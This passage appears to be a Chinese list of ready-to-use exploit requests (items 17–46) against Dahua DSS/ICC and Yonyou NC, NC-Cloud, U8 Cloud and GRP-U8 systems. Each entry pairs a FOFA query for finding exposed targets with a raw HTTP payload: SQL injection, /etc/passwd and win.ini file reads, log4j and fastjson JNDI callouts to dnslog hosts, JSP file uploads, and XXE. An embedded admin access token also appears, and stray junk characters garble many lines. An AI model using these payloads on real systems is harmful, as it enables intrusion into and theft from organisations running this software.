4 I/ v$ b+ h: j  x2 Jpoc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
8 t1 a+ R- J' w0 M! eHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
8 @$ N  ^( S% g, I1 t. c: {Connection: close
4 s0 g* M/ ?* jAccept: */*
Accept-Language: en
Accept-Encoding: gzip
+ a1 X- |3 P9 \, W/ [# ~7 @  G) H

* K1 c- m; |2 q* P) K8 k17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
  u' N3 ~$ a/ d+ nHost: x.x.x.x
5 ~; D" i( ~+ {7 DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 g, h; i* v' V' CConnection: close
Content-Length: 345
) p* [" ]# M2 m4 r* ]* |Accept-Encoding: gzip
5 S% x; K% O6 x" i/ J+ a
. w- U* X& }% }/ {7 D7 t9 e<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
1 |* C; ~/ Q3 f6 O  X    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
9 h; H! x* U) |! I      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
) T% j+ |; l" ]# \</s11:Envelope>


8 U9 d2 s( A. `7 z18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
5 a% l9 f5 U2 U) ~FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
* F* H5 d- E6 z- D' }( O! x' DHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
- q" F/ m5 X7 p: N6 t7 H8 |

/ [/ D) e0 O6 j+ D
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
( J9 y* Q1 K3 T& ]GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
  N3 v- N" G5 N+ FAccept: */*
Connection: keep-alive
; o& S  a3 Q2 W& ?1 N, B

, K3 V3 B8 M- B' w$ Y* A20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
% Q9 ^( `1 s4 r7 L' {GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
+ m' V! t: p) j8 j( v, q& ~User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
4 S2 d% ~5 {1 c( f8 hConnection: close
  b7 x+ m( [$ }' x2 AAccept: */*
Accept-Language: en
Accept-Encoding: gzip
& S  E2 k/ N6 ?3 r' c: C2 B. \' d
& Y* p3 k8 A; p& X
21. 大华ICC智能物联综合管理平台random远程代码执行
" I: J. o- b! V9 `2 LFOFA：icon_hash="-1935899595"
! j: I) R! `; q$ a5 R( s: F5 ]POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
& {5 }8 n* u) Y/ [6 TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
Accept-Encoding: gzip
* G/ O& B# ^! h3 }& X' r* UConnection: close
' `5 k$ `" @0 Q5 rContent-Type: application/json;charset=utf-8

{
& j+ n+ u6 w' X"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
5 }/ `7 v+ o' D% k* Q" T6 F}

6 K7 @# v/ j1 x
5 |( s5 B; `3 }0 q! e3 A22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
% Z, V) K' b( c6 W' W( tPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
6 n' q9 G9 H% X+ }5 }Content-Type: application/json;charset=utf-8

{
0 D  [! s% l# X0 }- W"loginName":"${jndi:ldap://dnslog}"
}

; T# h1 C( v% s5 o. x# g8 l7 k* w
( m, W! p3 E4 P9 F
/ h. }+ i% }( r2 [/ [2 q  ?0 q23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
% j, m4 l5 s: s% a  X/ S/ XFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
: R# ~" f9 t# |! v) cConnection: close
' Q, w' G% U$ |4 @- d
+ S! }! c9 A8 C+ z+ X- }) W5 [{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
4 C$ b# s3 ^+ D  s% Z7 b        }""
}
( o# h" e, q; G/ A7 H

24. 用友NC 6.5 accept.jsp任意文件上传
4 `  E' i7 \# V# S8 YFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
1 S6 p; j) {# @) WUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
; t/ }: ]- T$ H: L$ xContent-Length: 449
( Q0 [- l1 s1 c5 }Accept: */*
Accept-Encoding: gzip
+ D& H  K8 {, g3 L- pContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
4 X5 B0 C7 }; Q/ S
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
' d+ E2 o1 ^  EContent-Type: text/plain
# ?7 F2 a1 A. V
1 w$ p3 X  P0 M( `<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
7 j2 f$ a& y  g. x. ]-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
' @8 c3 o+ I$ t3 n4 Y3 _. FContent-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
, D! o! l0 m. C-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

/ e* w0 t; t9 w* @
25. 用友NC registerServlet JNDI 远程代码执行
) c" W* `9 t! S" g8 WFOFA：app="用友-UFIDA-NC"
2 u$ M- z& H* L6 ]. dPOST /portal/registerServlet HTTP/1.1
- d  _% l( y6 B8 cHost: your-ip
4 \$ q  N& L4 H! H& c0 M3 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
7 j: z* u6 |6 T+ e! `$ ~7 s4 @Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

0 T( @- M, b, I- ]type=1&dsname=ldap://dnslog
" D1 c. R% V* ^% y/ O! e8 w3 x- L' d

3 u' ]! q7 d; a9 l# i  e, W
26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
1 o8 m3 R) c8 N. U2 A# p* pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
* x1 R* T$ i. S4 ~0 @4 P9 FAccept: */*
' o! s, B2 q% ?( y/ N4 XConnection: keep-alive
3 s6 n- Q3 R. E( g; T) R# d* q
& r$ W3 z( |4 P2 x+ e7 ]
7 i* g5 m3 u* s( U& a% `- r, J27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
8 c. [) n# F) `0 x8 z5 wGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
6 y+ R: a' I6 ]- T: GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ ^8 ~6 `& ~. J8 i6 b$ H# T/ fAccept-Encoding: identity
Connection: close
: @6 |2 c: F! w5 RContent-Type: text/xml; charset=utf-8
# ~, j( r! c' k

28. 用友NC grouptemplet 任意文件上传
% W6 u) K& n% G5 a5 ^! H. nFOFA：icon_hash="1085941792"
/ K5 |+ W5 [9 V; h( YPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
, P0 ~% o, y% D' y' L* E$ sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
2 L; ?( r8 f* a7 UConnection: close
Content-Length: 268
% b, d9 [1 o" b3 V& ?1 JContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
9 C6 b$ M8 z' C4 `3 n% _0 i, `; B
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
& w, C" e* Q8 c1 p$ l% ]$ I4 z- bContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
% Q' B7 G6 n% x& e- G7 _
; ~& T/ `. {4 I) f" `4 E2 X5 R& [2 [<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
7 F6 ?& t/ [3 }8 }2 e6 B! Q6 q: j------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

; |1 q$ N. y5 Z" S' [9 C
" |+ o2 P" x: \9 |, J* U/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
- N( [0 y2 A( k, v: g  @GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
- ~0 m- n; q4 i/ m& Q. G5 [Host: your-ip
* [+ f) Z8 l/ H0 B, e& aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! t5 C1 h, S+ L9 A$ v4 jContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
: M9 U  U/ @/ {! |8 M7 {
% U% n! _# ]2 B, h+ y" q* B8 w
) M' w! g$ d: J' u30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
: f1 m  I' r* J$ kPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
5 Y$ b) X; A7 A( e! ?1 M4 iHost: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
4 v3 }/ |0 p8 T! JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
- X" X7 x6 S/ m- ^1 R
------WebKitFormBoundaryH970hbttBhoCyj9V
% D/ E; j" ^% `) `6 y$ E" Y6 ZContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
" `: k0 T! n- I1 r9 z1 A------WebKitFormBoundaryH970hbttBhoCyj9V--
% {  @) m! u& z: r' _' A% T
  ]) a( m" X! J) L! }" g
9 i; m1 [* _5 i9 v( }0 z' X31. 用友NC runStateServlet SQL注入
version<=6.5
3 B2 G/ T& k/ N! O- O" V# GFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
% S5 Q' m' g% g8 V* P& lHost: host
  B8 H0 H" P: h3 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
9 B) x  A* l: C1 F9 B  T0 SContent-Type: application/x-www-form-urlencoded
# _) i% {# n3 K$ L0 s( d3 u
2 g; P0 U8 q: [/ H- k, |
32. 用友NC complainbilldetail SQL注入
3 R  _* R0 V) a! F5 x1 \$ dversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
6 s1 @6 r7 l9 g8 Y' MHost: your-ip
: b) k: m7 q1 y1 B0 [* x3 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 J$ D' o6 V) E2 MContent-Type: application/x-www-form-urlencoded
2 J. O0 u0 ~5 y# hAccept-Encoding: gzip, deflate
3 @% H, m; w3 i0 FAccept: */*
" ~+ W) |1 S# d+ E0 F, J9 @  cConnection: keep-alive
3 V1 E7 g; U/ n: w/ K

33. 用友NC downTax/download SQL注入
( E( \; E! @8 @version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
& J3 f6 F8 e6 k2 UHost: your-ip
) t7 [1 t6 Q7 r/ y! r1 _+ BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
; @# H0 `* H8 P' KAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
- L! H& g3 a8 D1 A5 H
# H: m+ r7 x+ I" k" ?! h% O
34. 用友NC warningDetailInfo接口SQL注入
8 L: w$ o, B: y0 t  zFOFA：app="用友-UFIDA-NC"
! F2 }, e4 d# m- R: ]  ZGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
; d4 n1 r. T/ b! k5 c4 G, q, ]+ \Host: your-ip
4 ?7 e  m/ r# t" Z$ OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
4 k5 C9 y+ Z7 J) Y2 k' vAccept: */*
8 B$ f( l9 o# @9 WConnection: keep-alive

( W) Q# b+ j9 S( N
, ?& w; \% e% ^; s  ^35. 用友NC-Cloud importhttpscer任意文件上传
4 x0 Z+ U$ K) GFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
& d8 j- p/ `: h2 hUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
( t  C) G; i* N8 `" BAccept: */*
8 E( T- i+ B) A( t4 i, NConnection: close
$ k" v) _& P5 V7 v# q& naccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
2 k3 E# S7 r7 J6 m2 q( F6 P, tContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
* M1 f; r- P& _0 g! {5 e" p
--fd28cb44e829ed1c197ec3bc71748df0
/ ]# {  }3 i) u# q. }! V, E) \Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--

) {) H* I5 v: Y8 y" T
$ d3 y- B% P) ~2 u% ~  E1 n  C36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
! r$ t8 ~% L6 s" @6 Q; cPOST /uapws/soapFormat.ajax HTTP/1.1
+ n1 I$ e  m2 ZHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
9 j8 c9 b/ f3 `: K0 f7 |- A/ l  uContent-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 N8 V. m& p/ c$ t' zConnection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

1 j% }, j; [( n8 h5 g; f' ]msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
5 g5 t* s2 J% Y. p. u* e# a' w

37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
0 }3 \! a. S  j- }0 o& n. hPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
1 U+ b" {9 K9 A4 ~! u/ i- }# ?Host: 192.168.40.130:8989
- N0 {. V  j, RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
% g" I  W( H; u; N  q% KContent-Length: 421
" u8 m' m8 e& o1 P* uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+ ^$ G9 l& Y6 e, p- q8 c, n" K) ~Accept-Encoding: gzip, deflate
* r5 t1 ?- N, xAccept-Language: zh-CN,zh;q=0.9
Connection: close
% E( P, |: g7 _8 \  FContent-Type: text/xml;charset=UTF-8
- U" @* C* O5 ~- U) A7 _. l3 }SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
) G. ~" f" v1 x5 K
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
: n! X$ @- N; Q+ h1 X3 H<soapenv:Body>
9 a0 ^" C. }3 M  s& Z6 X<iup:getResult>
6 l; n* J# j1 L: R' s/ |; ^1 t" L<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
  M4 x4 U+ J; a2 d" _$ S' D<xxx/>]]></iup:string>
6 X. N+ `0 d8 _" _& k</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>

% N* c$ h+ x# h
- ~' ~# F: \6 K2 Z
8 F( R4 c: d! F  |0 a) P# h9 s: A38. 用友U8 Cloud smartweb2.RPC.d XXE
: H' l/ F( J2 w' \3 m3 q4 }FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
: o. A+ U$ R' M" T% P5 r+ f$ RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
0 s% f4 e$ X5 I+ N3 z" DAccept-Encoding: gzip, deflate
6 p5 B; @% N9 `  M9 X# D& H9 z1 bAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
6 ]1 T5 Y% A8 y" J8 B$ Y% C* y4 i1 [7 R
& ~. j  P0 O$ _% T, V__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

: E6 u4 w) F) I: q% ?5 y7 j- U
3 L7 r$ j2 Q5 P7 O) h39. 用友U8 Cloud RegisterServlet SQL注入
& T5 y  @/ L' g* E2 M2 Q, j$ v( ZFOFA：title="u8c"
6 w  J6 j" F# e) X7 R2 P9 I. [' YPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
" [" ^; F& N# p) g2 U* z( dContent-Length: 85
. Q! X* ~- g& _, l! c5 V$ lAccept: */*
* D$ z$ Z& Z4 _- C% NAccept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
6 X! O9 G' B2 u+ s, R, ]$ ?
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
" J! y# i3 G7 K$ _& o: ]
* l2 w2 Q& m) D/ q6 [0 [
+ g; n3 M% R; h' j40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
# K% Q6 d8 [3 G' b+ g, N, a/ s1 \5 FUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
: @' f2 @  }; bContent-Type: text/xml
6 C. P$ [& g2 N4 G: B* P% c, _- H7 yConnection: close
6 D" M6 @( k- a9 F3 F9 }- t
5 \5 ?6 d$ I) T) D2 ?9 H<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

2 K/ |2 `) z; o* ]
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
- L' d( {* K* D1 [; [+ zFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
7 G# }% N, `) Y. eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 C2 D3 X2 Z) [, x0 S/ BContent-Type: application/json
8 T% f6 L+ d( U& FAccept-Encoding: gzip
Connection: close
3 N% N3 ~, J! E4 i7 a: C7 m1 ]) a5 {: b
1 X  n2 A& n! A& i
42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
* ^# F+ R8 z* o  ]$ P# l5 r- g
4 }* i! I4 @+ b# HPAYLOAD


2 q& }; n  @7 ^8 i/ e7 A. khttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
3 z' F" O1 B8 G- x" |/ \$ l' D) R6 S5 z
1 E; y. |& b# i43. 用友GRP-U8 userInfoWeb SQL注入致RCE
( N6 i8 z4 s; i1 @8 p; F" ZFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
* ~4 U- V2 y" O2 Q9 }( |# tHost: your-ip
, O5 T; b: T! ^8 H8 Y4 q2 h6 }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
/ s' ^/ [- J) ~! [' P7 n; W2 CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' w: T9 r- g, H/ x2 ]Accept-Encoding: gzip, deflate
$ x* D, T/ ]& \/ W6 d3 EAccept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
6 U, O% H1 W% \: Z1 P: v- j* o
3 x9 G* k( Q. v7 ~5 ?+ p4 b<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
, W# E3 X# @- n+ W( ^1 |   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
8 Y6 p) K2 h. P5 M; t& |& z" [         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
% I  [; F: {6 g& _      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>


4 S# I; E. a3 X+ P3 K6 u! [44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
- {+ W. c0 h  Y/ ^1 x% \! k9 HGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
2 G& v% f9 g# e& |3 w+ F, xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 c- l8 [$ [% w: s0 c. LAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ s) R8 ]6 e7 p8 l# c$ V6 QConnection: close
  e6 o9 g7 ?0 T* ^- \$ T

. x4 R* P( O# v" |6 x- p45. 用友GRP-U8 ufgovbank XXE
. x. }; m: {8 v+ Y! K( Y% ^+ J. NFOFA：app="用友-GRP-U8"
* p4 G! ?+ J: |, r; @* gPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
' e% x0 p) T) ^Connection: close
% T; s5 g4 X2 E* o2 Y  CContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
+ C: i+ f. E0 a& I% }Accept-Encoding: gzip

reqData=<?xml version="1.0"?>
1 E3 ?2 e6 @& }+ @<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


- \, Y9 ~8 v$ N1 a$ J46. 用友GRP-U8 sqcxIndex.jsp SQL注入
% Q. N# ^( F8 B/ |FOFA：app="用友-GRP-U8"
" l& ~! M' r  L/ p" c) o( R* GGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
' A! t4 h" ^2 Y. X( xHost: your-ip
